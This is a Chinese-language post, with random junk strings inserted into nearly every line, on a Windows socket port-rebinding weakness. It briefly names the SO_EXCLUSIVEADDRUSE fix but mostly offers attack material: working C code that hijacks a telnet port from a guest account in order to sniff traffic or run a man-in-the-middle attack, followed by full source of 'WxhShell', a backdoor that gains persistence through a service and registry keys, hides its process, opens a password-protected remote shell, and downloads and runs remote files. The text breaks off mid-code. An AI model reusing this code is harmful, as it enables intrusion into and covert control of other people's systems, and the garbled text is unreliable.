在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ylTX s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
]*/%5ZOI& sKu/VAh
x saddr.sin_family = AF_INET;
+g.lLb*# *I)F5M saddr.sin_addr.s_addr = htonl(INADDR_ANY);
<D}yqq@| |FED< bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
4eD>DW =[_=y=G 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
qS|ns'[ 5`>%{ o 这意味着什么?意味着可以进行如下的攻击:
rl/]Ym4j _|^cudRv 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
a+!r5689 .I
h'& 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
n^[VN[VC "@s</HGo 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
:<QmG3F a8w/#!^34 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
"A9qC*6[ j'IZ etT 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
sa?Ul)L2 g.,_E4L 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
q0t} eVRPjVzQ'Q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
_GW, 9s^A 'lWgHmE #include
#ULjK*)R #include
qT153dNA& #include
EX"o9' #include
b
fj]Q DWORD WINAPI ClientThread(LPVOID lpParam);
V'M#."Of/ int main()
O yG# {
*4HogC WORD wVersionRequested;
Od]B;&F DWORD ret;
k=&UV!J WSADATA wsaData;
K| w\KX0 BOOL val;
07
E9[U[ SOCKADDR_IN saddr;
;${_eab] SOCKADDR_IN scaddr;
pP|LSrY! int err;
Bw Cwy SOCKET s;
L]e@./C$ SOCKET sc;
\2#j1/d4 int caddsize;
O'.sK pXe HANDLE mt;
xf|vz|J?y DWORD tid;
jCK 0+,; wVersionRequested = MAKEWORD( 2, 2 );
8M6wc394 err = WSAStartup( wVersionRequested, &wsaData );
&P:2`\' if ( err != 0 ) {
<FofRFaS printf("error!WSAStartup failed!\n");
uXuA4o$t- return -1;
@3v[L<S{ }
EvGKcu saddr.sin_family = AF_INET;
g3*J3I-O bAwFC2jO[ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
}trQ<*D `:*O8h~i^8 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
?#0m[k&` saddr.sin_port = htons(23);
3uy^o if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
W*WSjuFr2 {
qe_qag9 printf("error!socket failed!\n");
h8
!(WO! return -1;
Qj3l>O }
8{B]_:
-: val = TRUE;
U
UYx-x //SO_REUSEADDR选项就是可以实现端口重绑定的
f?BApm if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
[AN= G!r {
., =\/ C< printf("error!setsockopt failed!\n");
c2~oPUj return -1;
[kKg?I$D@B }
Mh@RO|F //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"QLp%B,A //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
njGZ#{"eC //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
\J-}Dp\0b e13' dCG if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
78h!D[6 {
AYHefAF<w ret=GetLastError();
J`'wprSBb printf("error!bind failed!\n");
3R?6{. return -1;
p/ au.mc }
r"$~Gg.%( listen(s,2);
kJNu2S while(1)
VK[`e[.C {
,cFBLj(@ caddsize = sizeof(scaddr);
Xf%wW[~ //接受连接请求
zL=PxFw0 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
i~ITRi@ if(sc!=INVALID_SOCKET)
7*C>4Gs {
Jq8:33s mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
<7*d2 if(mt==NULL)
_)a!g-Do7 {
cL+bMM$4r~ printf("Thread Creat Failed!\n");
Sej(jJX1 break;
8T"8C }
&'"dYZj{ }
f5P@PG]{ CloseHandle(mt);
9iM[3uyO }
jpt-5@5O closesocket(s);
tk66Ggi[K WSACleanup();
fD~f_Wr return 0;
>o4Ih^VB }
n _eN|m?@ DWORD WINAPI ClientThread(LPVOID lpParam)
ftRzgW); {
$^5c8wT SOCKET ss = (SOCKET)lpParam;
bOdQ+Y6 SOCKET sc;
HSlAm&Y\ unsigned char buf[4096];
I;UCKoFT SOCKADDR_IN saddr;
L8~zQV$h long num;
b@ OF DWORD val;
PwS7!dzH- DWORD ret;
fp2uk3Bm[ //如果是隐藏端口应用的话,可以在此处加一些判断
WVdF/H //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
[;$9s=:[ saddr.sin_family = AF_INET;
;t\C!A6 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
# 5b
saddr.sin_port = htons(23);
6g 5Lf) yG if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
v{O(}@ {
&H:2TL! printf("error!socket failed!\n");
k{E!X return -1;
r%FfJM@! }
l5<&pb#b val = 100;
qMmhVUx if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
tE]Y=x[Ux {
Z ItS(oJ. ret = GetLastError();
LDYk\[81 return -1;
x.ucsb }
w'&QNm> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Q+zy\T {
VskdC?yIp ret = GetLastError();
~!#2s' return -1;
<]'1Y DA }
u69fYoB' if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Wq"^ { {
, A;wLI printf("error!socket connect failed!\n");
0/fA>%& closesocket(sc);
*x@.$=NF" closesocket(ss);
XpT+xv1`; return -1;
R@lA5w }
2T3b6 while(1)
~vw$Rnotz {
[zr2\( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
`c'R42SA //如果是嗅探内容的话,可以再此处进行内容分析和记录
Qt"i //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
9k3RC}dEr num = recv(ss,buf,4096,0);
gi
JjE if(num>0)
j7
\y1$w send(sc,buf,num,0);
nrJW.F]S8[ else if(num==0)
P*3PDa@ break;
f;]C8/ W num = recv(sc,buf,4096,0);
j)Y68fKK if(num>0)
^wMZG'/ send(ss,buf,num,0);
x2Dg92 else if(num==0)
0jMS!"k
break;
zTW)SX_O }
Qkx}A7sK closesocket(ss);
(x1 #_~ closesocket(sc);
hs?cV)hDS return 0 ;
ITf4PxF }
Tw@:sWC s E0ldN" /5j]laYK) ==========================================================
a4x(lx& MBO>.M$B 下边附上一个代码,,WXhSHELL
xMD]b >/9on. ==========================================================
yN9setw*,M a"whg~ #include "stdafx.h"
DUWSY?^c aSQvtv)91 #include <stdio.h>
|s, Add:S #include <string.h>
j[Oh>yG #include <windows.h>
/<)kI(gf #include <winsock2.h>
Mo0pN\A}h #include <winsvc.h>
`l}+BI`4 #include <urlmon.h>
K%3{a=1 <iNxtD0 #pragma comment (lib, "Ws2_32.lib")
\) vI- #pragma comment (lib, "urlmon.lib")
;)' }J(o!2. #define MAX_USER 100 // 最大客户端连接数
~s-"u
*> #define BUF_SOCK 200 // sock buffer
IpKpj"eoLy #define KEY_BUFF 255 // 输入 buffer
JXk<t5@D lvk
r2Meu< #define REBOOT 0 // 重启
fe+2U|y #define SHUTDOWN 1 // 关机
7R=A]@ m!^z{S #define DEF_PORT 5000 // 监听端口
qExmf%q:q dobqYd4` #define REG_LEN 16 // 注册表键长度
S*S@a4lV7 #define SVC_LEN 80 // NT服务名长度
YHfk; FI
MznMt2-u // 从dll定义API
ghDOz
3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ER)to<k typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
V J]S" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
_>(qQ-Px typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Ztj~Q 9mu Z=[?Tf // wxhshell配置信息
xOBzT& struct WSCFG {
TY]-L1$ int ws_port; // 监听端口
),&tF_z: char ws_passstr[REG_LEN]; // 口令
A&7~]BR\ int ws_autoins; // 安装标记, 1=yes 0=no
+hzS'z)n& char ws_regname[REG_LEN]; // 注册表键名
%TS8 9/ char ws_svcname[REG_LEN]; // 服务名
OQ*rxLcA char ws_svcdisp[SVC_LEN]; // 服务显示名
q+cx.Rc# char ws_svcdesc[SVC_LEN]; // 服务描述信息
r>;6>ZMe char ws_passmsg[SVC_LEN]; // 密码输入提示信息
,n/^;. _1 int ws_downexe; // 下载执行标记, 1=yes 0=no
BiCC72oig char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
kqt.?iJw char ws_filenam[SVC_LEN]; // 下载后保存的文件名
YZQF*fj \@hq7:Q };
X'.*I]) *k<{ nj@y // default Wxhshell configuration
%fB!XCW struct WSCFG wscfg={DEF_PORT,
#*x8)6Ct "xuhuanlingzhe",
*$v`5rP 1,
tP0!TkTo9 "Wxhshell",
hp!. P1b "Wxhshell",
]97`=,OUg "WxhShell Service",
'X/(M<c "Wrsky Windows CmdShell Service",
7MhN>a;A\ "Please Input Your Password: ",
y)0wM~E;2 1,
MfK}DEJK, "
http://www.wrsky.com/wxhshell.exe",
'D17]Lp~. "Wxhshell.exe"
UY`U[# };
H3Sfz' 0uwe,; // 消息定义模块
Y0ouLUlI char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
*|^}=ioj* char *msg_ws_prompt="\n\r? for help\n\r#>";
2/.I6IbL char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
drW}w+! char *msg_ws_ext="\n\rExit.";
$x|4cW2 char *msg_ws_end="\n\rQuit.";
CvB)+>oa char *msg_ws_boot="\n\rReboot...";
X@up=%( char *msg_ws_poff="\n\rShutdown...";
U!Eo*?LU$ char *msg_ws_down="\n\rSave to ";
0\}%~e ODE^;:z ! char *msg_ws_err="\n\rErr!";
y-k]Tr char *msg_ws_ok="\n\rOK!";
1zlBkK Ph/!a6y char ExeFile[MAX_PATH];
U[WR?J4~LX int nUser = 0;
3v@Y"I3; HANDLE handles[MAX_USER];
H*V Z&{\7 int OsIsNt;
7B8.;0X$W +Qo]'xKr SERVICE_STATUS serviceStatus;
Mi2lBEu, SERVICE_STATUS_HANDLE hServiceStatusHandle;
uZkh. 0yB
_MST8 // 函数声明
p!RyxB1.| int Install(void);
$hE,BeQ int Uninstall(void);
4}MZB*);0 int DownloadFile(char *sURL, SOCKET wsh);
2%gLq int Boot(int flag);
<6[P5> void HideProc(void);
?0VETa ~m int GetOsVer(void);
{j4J(dtO int Wxhshell(SOCKET wsl);
qe_59'K void TalkWithClient(void *cs);
<WGx
6{ int CmdShell(SOCKET sock);
{3R?<ET]mt int StartFromService(void);
ED=P
6u int StartWxhshell(LPSTR lpCmdLine);
-9@/S$i 3_cZaru VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ra>jVE0` VOID WINAPI NTServiceHandler( DWORD fdwControl );
?TEdGe\* 3 V{&o,6 // 数据结构和表定义
~N=$%C SERVICE_TABLE_ENTRY DispatchTable[] =
SC/V3fW, {
6gN>P%n {wscfg.ws_svcname, NTServiceMain},
i.Jk(%c {NULL, NULL}
`vj"HhC };
z3Ro*yJU [r;hF // 自我安装
J sc`^a%`' int Install(void)
-]e@FNL {
'>0rp\jC char svExeFile[MAX_PATH];
>+E
HKEY key;
`6B jNV strcpy(svExeFile,ExeFile);
SJ;Kjq.Qo %X>P+6<= // 如果是win9x系统,修改注册表设为自启动
1@p'><\ if(!OsIsNt) {
M@?,nzs
K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?K/N{GK%{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ITf,
)?|]Y RegCloseKey(key);
\Czuf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
dlB?/J< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(cLcY%$ RegCloseKey(key);
kjOPsz*0 return 0;
p5PTuJ>q }
pJ;4rrSK }
|\iJ6m;a }
3,4m|Z2) else {
fx`oe BjsF5~+\ // 如果是NT以上系统,安装为系统服务
?PSVVUq,Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
jZLD^@AP if (schSCManager!=0)
1Z| {3W {
g W(7jFl SC_HANDLE schService = CreateService
nD/;
Gq (
(TQhO$, schSCManager,
C#Y_La wscfg.ws_svcname,
]v6s](CE wscfg.ws_svcdisp,
[H&Z /.{F SERVICE_ALL_ACCESS,
];VJ54 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
u{dI[?@ SERVICE_AUTO_START,
3El5g0'G SERVICE_ERROR_NORMAL,
JC}oc M
j0 svExeFile,
Y9_OkcW) NULL,
ji:E NULL,
wS%aN@ay3 NULL,
H%
"R _[+ NULL,
m#kJ((~ NULL
[23F0-p );
EXD Qr'" if (schService!=0)
f1}am< {
D^jyG6Ch CloseServiceHandle(schService);
Sx|)GTJJ|- CloseServiceHandle(schSCManager);
)Fw{|7@N strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
xKW`m strcat(svExeFile,wscfg.ws_svcname);
[>y 0Xf9^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
4~YPLu RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
rbD}fUg RegCloseKey(key);
+M %zOX/ return 0;
G"&yE.E5 }
%\ef
Mhn }
ghu8Eg,Y CloseServiceHandle(schSCManager);
yB~`A>~M }
=n73bm }
etk@ j3# 0X'2d return 1;
;\[el<Y)s }
Ja(>!8H>@ [sF
z ;Py] // 自我卸载
oiL^$y/:;z int Uninstall(void)
NL76 jF {
5Dv;-G; HKEY key;
h%yw'?s T~"T%r if(!OsIsNt) {
c2iPm9"eh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
C\WU<! RegDeleteValue(key,wscfg.ws_regname);
;DXcEzV RegCloseKey(key);
IS9}@5`' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$&l}
ABn RegDeleteValue(key,wscfg.ws_regname);
1P1"xT RegCloseKey(key);
~Vf+@_G8` return 0;
1O{x9a5Z?O }
7ga|4j3% }
5^W},:3R }
_Boe" else {
Sy?O(BMo +_h1JE_}D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
L
dyTB@ if (schSCManager!=0)
%:~LU]KX {
7[}K 2.W. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
]J
aV +b'O if (schService!=0)
1tMs\e- {
,&X7D] if(DeleteService(schService)!=0) {
$Z8=QlG> CloseServiceHandle(schService);
k@i+gV% CloseServiceHandle(schSCManager);
@=kDaPme92 return 0;
/^F$cQX( }
]IZn#gnM CloseServiceHandle(schService);
',<Bo{ }
+zz\* CloseServiceHandle(schSCManager);
X\dPQwasM }
7Ne`F(c }
4?3*%_bDJ, 2G9sKg,kL return 1;
?h*Ngbj> }
LQs>[3rK hQT
p& // 从指定url下载文件
hb_J.Q int DownloadFile(char *sURL, SOCKET wsh)
?k7z5ow {
?9)-?tZ^Q HRESULT hr;
wh~g{(Xvq char seps[]= "/";
.7"]/9oB char *token;
|z`kFil% char *file;
<,S5(pZ char myURL[MAX_PATH];
6zfi\(fop char myFILE[MAX_PATH];
)`sEdVxbr L9Gxqw strcpy(myURL,sURL);
OE=]/([ token=strtok(myURL,seps);
D$wl.r while(token!=NULL)
$&!i3#FF {
:XP/ `%: file=token;
M-Tjp'=* token=strtok(NULL,seps);
kkz{;OW
}
/I>o6 CI v[O }~E7' GetCurrentDirectory(MAX_PATH,myFILE);
k{ru<cf strcat(myFILE, "\\");
F/ODV=J- strcat(myFILE, file);
PqOPRf send(wsh,myFILE,strlen(myFILE),0);
4%(\y"T send(wsh,"...",3,0);
x=%p~$C hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
e/p 2| 4; if(hr==S_OK)
0F495'*A return 0;
^=lh|C\# else
yG`J3++
S return 1;
`<z"BGQ Wt%+q{ }
^D=1%@l?# >4.K>U?0FC // 系统电源模块
el;ey Ga int Boot(int flag)
U^n71m>]%T {
XIAHUT5~J HANDLE hToken;
)Uk!;b TOKEN_PRIVILEGES tkp;
H:d@@/ gC+PpY#2h if(OsIsNt) {
?Bdhn{_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
!FqJP
OGm LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
/g_cz&luR tkp.PrivilegeCount = 1;
M'n2 j tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
^4\hZ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
c8^M::NI if(flag==REBOOT) {
$@[`v0y* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
c89+}]mGq return 0;
ds*N1[
* }
R.FC3<TTv else {
}KBz8M5 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
`}Of'i return 0;
#c?xJ&bh }
l.
9
i ` }
*" ("^_x\ else {
*K<|E15 , if(flag==REBOOT) {
ODbEL/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
m=hlim;P, return 0;
v|WT m# }
[T(XwA) else {
7H+IW4Ma if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
8K]5fkC| return 0;
=nQgS.D }
'nrXRDb }
gB;5&;T: #%;QcDXRe return 1;
5 +Ei!E89 }
us,!U *u i!|; // win9x进程隐藏模块
v*.[O/,EBR void HideProc(void)
JjXuy7XQ {
3u)NkS= rY~!hZ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
,#u"$Hz8p if ( hKernel != NULL )
_DlX F {
_:B/XZ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
hLqRF4>L ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
co93}A,k FreeLibrary(hKernel);
&tAhRMa }
<K(qv^C /f5*KRM return;
4Pbuv6`RK }
t==CdCl Xiy9Oeq2uh // 获取操作系统版本
<?Z [X{ int GetOsVer(void)
\ r^#a {
*[P"2b# OSVERSIONINFO winfo;
g[NmVY-o winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
8zMt&5jD GetVersionEx(&winfo);
]f3[I3;K if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
W7F1o[ return 1;
$j+RUelFY else
9?jD90@
} return 0;
B=>VP-: }
V>$A\AWw VP7g::Ab // 客户端句柄模块
EDl*UG83G int Wxhshell(SOCKET wsl)
u["3| `C5 {
%`M IGi# SOCKET wsh;
wNk 0F7Ck struct sockaddr_in client;
9_h
V1: DWORD myID;
_V.MmA IzuYkl} while(nUser<MAX_USER)
8(6(,WwP} {
<WHu</ int nSize=sizeof(client);
un)YK wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
3>~W_c9@ if(wsh==INVALID_SOCKET) return 1;
Y#/mE!& Rz #&v handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
~yGD("X if(handles[nUser]==0)
#cnh
~O closesocket(wsh);
($h`Y;4 else
2@A%;f0Q nUser++;
t-gLh(-. }
yGxAur=dE WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
(R9{wGV [ l"{1v~I return 0;
u/I|<NAC, }
ty W5k(> ^n @dC? // 关闭 socket
3Uy4 8ue void CloseIt(SOCKET wsh)
8p;|&7 {
iF_#cmSy$ closesocket(wsh);
3tt3:`g nUser--;
f"{|c@% ExitThread(0);
KBe\)Vs }
'{[n,xeR A(2\Gfe // 客户端请求句柄
.Wr%l$~ void TalkWithClient(void *cs)
4 kNiS^h {
I:L}7uA[t x$:P;# SOCKET wsh=(SOCKET)cs;
-->~<o char pwd[SVC_LEN];
g5YDRL!Wh char cmd[KEY_BUFF];
#80[q3 char chr[1];
P<tHqN!q int i,j;
1GaM!OC 9 YLx4qE while (nUser < MAX_USER) {
lWR". 6dNW2_ if(wscfg.ws_passstr) {
6H #4iMeh if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
C'wRF90 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&(Yv&jX //ZeroMemory(pwd,KEY_BUFF);
R [[
#r5q i=0;
C-}@.wr( while(i<SVC_LEN) {
_, ki/7{ S.I3m- // 设置超时
4X1!t fd_set FdRead;
kA"|PtrW struct timeval TimeOut;
;UAi>//# FD_ZERO(&FdRead);
@mJ#~@*( FD_SET(wsh,&FdRead);
<\fB+ AZ TimeOut.tv_sec=8;
t++
a TimeOut.tv_usec=0;
!bq3c(d int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
!lnRl8oV if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
\Zgc
[F J-k/#A4o if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
BKV,V/*p pwd
=chr[0]; T[L7-5U0
if(chr[0]==0xd || chr[0]==0xa) { "8-;Dq'+
pwd=0; `q$a
p$?
break; eVetG,["
} D^30R*gV
i++; om1@;u8u
} #3_t}<fX
6 6%_p]U
// 如果是非法用户,关闭 socket kR
!O-@GJ]
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '|
6ZPv&N
} ;S5J"1)O~
}|j\QjH
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F*, e,s
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~x-v%x6
i>aIuQ`pe
while(1) { _pN:p7l(
b3M`vJ+{
ZeroMemory(cmd,KEY_BUFF); NRI@M5
A0l-H/l7
// 自动支持客户端 telnet标准 ; "K"S[
j=0; sq45fRAi
while(j<KEY_BUFF) { csd~)a nb
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GD-cP5$
cmd[j]=chr[0]; xCYK"v6\
if(chr[0]==0xa || chr[0]==0xd) { 4/?@ %
cmd[j]=0; hR+\,P#G[
break; wV\.NQtS
} U^&,xz$Cg
j++; k5@PZFV
} h0oe'Xov
b9Mp@I7Q-
// 下载文件 r^v1_u,1I
if(strstr(cmd,"http://")) { ]I[\Io 1
send(wsh,msg_ws_down,strlen(msg_ws_down),0); H2JKQm_
if(DownloadFile(cmd,wsh)) R8%%EEB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rh,a4n?W
else 'o]kOp@q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @9e}kiW
} ak"W/"2:
else { U0ZPY )7k
sJ{J@/5
switch(cmd[0]) { F.cKg~E|e
V=de3k&p
// 帮助 0Lx,qZ'
case '?': { E'cI} q
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4G3u8)b=
break; $}8@?>-w
} BA6(Owb
// 安装 :%4N4|
Q
case 'i': { ;@FCaj&
if(Install()) ]J^/`gc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !I jU *c@
else Qv}TUX4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $e, N5/O
break; fda)t1u\8
} j_{f(.5
// 卸载
qHl>d*IZ
case 'r': { NA!?.zn
if(Uninstall()) 7tP
qez#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +'0V6\y
else O)8$aAJ)V
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &[7z:`+Y##
break; AaLbJYuKd
}
rcAPp
// 显示 wxhshell 所在路径 ;Xl {m`E+
case 'p': { FI"KJk'
char svExeFile[MAX_PATH]; M3VTzwuf^S
strcpy(svExeFile,"\n\r"); `>Ms7G9S~e
strcat(svExeFile,ExeFile); -xVZm8y
send(wsh,svExeFile,strlen(svExeFile),0); tNG[|Bi#
break; BIXbdo5F
} O<P(UT"
// 重启 VVw5)O1'
case 'b': { Y3JIDT^
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :!/ (N
if(Boot(REBOOT)) U8a5rF><
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qs>&Xn
else { GDQQ4-|O
closesocket(wsh); )W/_2Q.
ExitThread(0); Gzc`5n{"
} V<ii
break; ^6QzaC3
} `b KJ
// 关机 KU^|T2s%
case 'd': { :{s0tw>Z
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [4r<WvUaM
if(Boot(SHUTDOWN)) sV;q(,oru
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6F_:,b^
else { Zd}12HFq
closesocket(wsh); &EhOSu
ExitThread(0); $/crb8-C
} e^k)756
break; |pZ:5ta#
} .sSbU^U
// 获取shell jbe_r<{
case 's': { ,B#*<_?E5
CmdShell(wsh); [D"5@
closesocket(wsh); uhU'm@JZ
ExitThread(0); #x6EZnG
break; #wZbG|%
} 0|6Y%a\U
// 退出 #sE:xIR
case 'x': { E(_lm&,4+
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 84<zTmm
CloseIt(wsh); G2&,R{L6w
break; :W#?U yo
} D
`av9I
// 离开 L;=3n[^x
case 'q': { >avkiT2
send(wsh,msg_ws_end,strlen(msg_ws_end),0); X]_9g[V
closesocket(wsh); u{cb[M
WSACleanup(); xYY^tZIV
exit(1); _:>t$*
_
break; (6i4N2
} 40O@a:q*
} q2U?EP{8~
} 32Wa{LG;2
7NkMr8[}F
// 提示信息 LbuhKL}VN
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sJMpF8
} WidLUv
} VAp 1{
,n`S
,
return; uR.`8s|
} 4|UtE<<b
&\
K
// shell模块句柄 }L
@~!=q*
int CmdShell(SOCKET sock) Oq:$GME
{ h0C>z2iH
STARTUPINFO si; d .Q<!Au3
ZeroMemory(&si,sizeof(si)); U ]7;K>.T
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %'/^[j#
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [Wxf,rW i
PROCESS_INFORMATION ProcessInfo; U#%+FLX@w
char cmdline[]="cmd"; r::0\{{r"p
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [OS&eK 8
return 0; T%A"E,#
} ==S^IBG
8gG;A8
// 自身启动模式 $h[Q}uW
int StartFromService(void) >-y}t9[/
{ Rq`5ff3,
typedef struct `Ue5;<K-/
{ j
Y(|z*|
DWORD ExitStatus; ]MC5 uKn
DWORD PebBaseAddress; [#fz[U
DWORD AffinityMask; k\RS L
DWORD BasePriority; 7d/I"?=|rA
ULONG UniqueProcessId; -wVuM.n(Z
